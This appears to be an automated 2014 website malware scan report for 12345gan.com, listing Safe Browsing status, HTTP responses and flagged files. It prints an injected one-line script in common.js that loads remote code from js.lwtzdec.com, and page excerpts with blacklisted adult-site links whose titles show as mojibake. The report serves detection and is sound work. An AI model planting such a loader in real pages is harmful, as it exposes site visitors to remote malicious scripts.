Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=12345gan.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://www.12345gan.com/ | HTTP/1.1 200 OK Date: Wed, 10 Sep 2014 00:29:05 GMT Accept-Ranges: bytes ETag: "bee4511e6dcccf1:94a3" Server: Microsoft-IIS/6.0 Content-Length: 12518 Content-Location: http://www.12345gan.com/index.html Content-Type: text/html Last-Modified: Tue, 09 Sep 2014 20:32:04 GMT X-Powered-By: ASP.NET | clean |
http://www.12345gan.com/index.html | 200 OK Content-Length: 12518 Content-Type: text/html | suspicious |
Page code contains blacklisted domain: 123laiyifa.com ...[3034 bytes skipped]... p://12345gan.com/qvodlhlz/5420140909.html" >97gan</a></li> <li><a href="http://12345gan.com/cbxq/90020140907.html" >»ÊÉ«¶¯»Æ¬Ãû×Ö</a></li> </UL> <div id="link"> <div id="linktit">==ÓÑÇéÁ´½Ó==</div> <li class="no1"><a href="http://176cqsf176.biz" title="°³È¥Ò²ÐÂÍøÖ·">°³È¥Ò²ÐÂÍøÖ·</a></li> <li class="no1"><a href="http://123laiyifa.com" title="ÑÇÖÞÇéÉ« ¿ì²¥">ÑÇÖÞÇéÉ« ¿ì²¥</a></li> <li class="no1"><a href="http://9n0255o.com" title="³ÉÈËÍø ÊÖ»ú°æ">³ÉÈËÍø ÊÖ»ú°æ</a></li> <li class="no1"><a href="http://nuyr43z.com" title="¿ªÐÄÉ«µçÓ°">¿ªÐÄÉ«µçÓ°</a></li> <li class="no1"><a href="http://sv8mx7z.com" title="É«¸ç¸ç78aiavwww 56 com">É«¸ç¸ç78aiavwww 56 com</a></li> <li class="no1"><a href="http://edninhfg.e ...[1187 bytes skipped]... | ||
http://12345gan.com/common.js | 200 OK Content-Length: 96 Content-Type: application/x-javascript | malicious |
Malicious code found. Script contains blacklisted domain: js.lwtzdec.com document.writeln("<SCRIPT language=javascript src=\"http://js.lwtzdec.com/zy.js\"></SCRIPT>");
Decoded script: <SCRIPT language=javascript src="http://js.lwtzdec.com/zy.js"></SCRIPT> | ||
http://www.12345gan.com/sfwz/290 | HTTP/1.1 200 OK Date: Wed, 10 Sep 2014 00:29:07 GMT Accept-Ranges: bytes ETag: "fcbdb7f85becf1:94a3" Server: Microsoft-IIS/6.0 Content-Length: 1505 Content-Location: http://www.12345gan.com/404.html?404;http://www.12345gan.com:80/sfwz/290 Content-Type: text/html Last-Modified: Sat, 23 Aug 2014 03:51:18 GMT X-Powered-By: ASP.NET | clean |
http://www.12345gan.com/404.html?404;http://www.12345gan.com:80/sfwz/290 | 200 OK Content-Length: 1505 Content-Type: text/html | clean |
http://www.qq.com/404/search_children.js | 200 OK Content-Length: 295 Content-Type: application/x-javascript | clean |
http://12345gan.com/tj.js | 200 OK Content-Length: 122 Content-Type: application/x-javascript | clean |
http://www.12345gan.com/test404page.js | HTTP/1.1 200 OK Date: Wed, 10 Sep 2014 00:29:09 GMT Accept-Ranges: bytes ETag: "fcbdb7f85becf1:94a3" Server: Microsoft-IIS/6.0 Content-Length: 1505 Content-Location: http://www.12345gan.com/404.html?404;http://www.12345gan.com:80/test404page.js Content-Type: text/html Last-Modified: Sat, 23 Aug 2014 03:51:18 GMT X-Powered-By: ASP.NET | clean |
http://www.12345gan.com/404.html?404;http://www.12345gan.com:80/test404page.js | 200 OK Content-Length: 1505 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: 12345gan.com
Result:
GET / HTTP/1.1
Host: 12345gan.com
Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: 12345gan.com
Referer: http://www.google.com/search?q=12345gan.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: 12345gan.com
Referer: http://www.google.com/search?q=12345gan.com
Result:
The result is similar to the first query. There are no suspicious redirects found.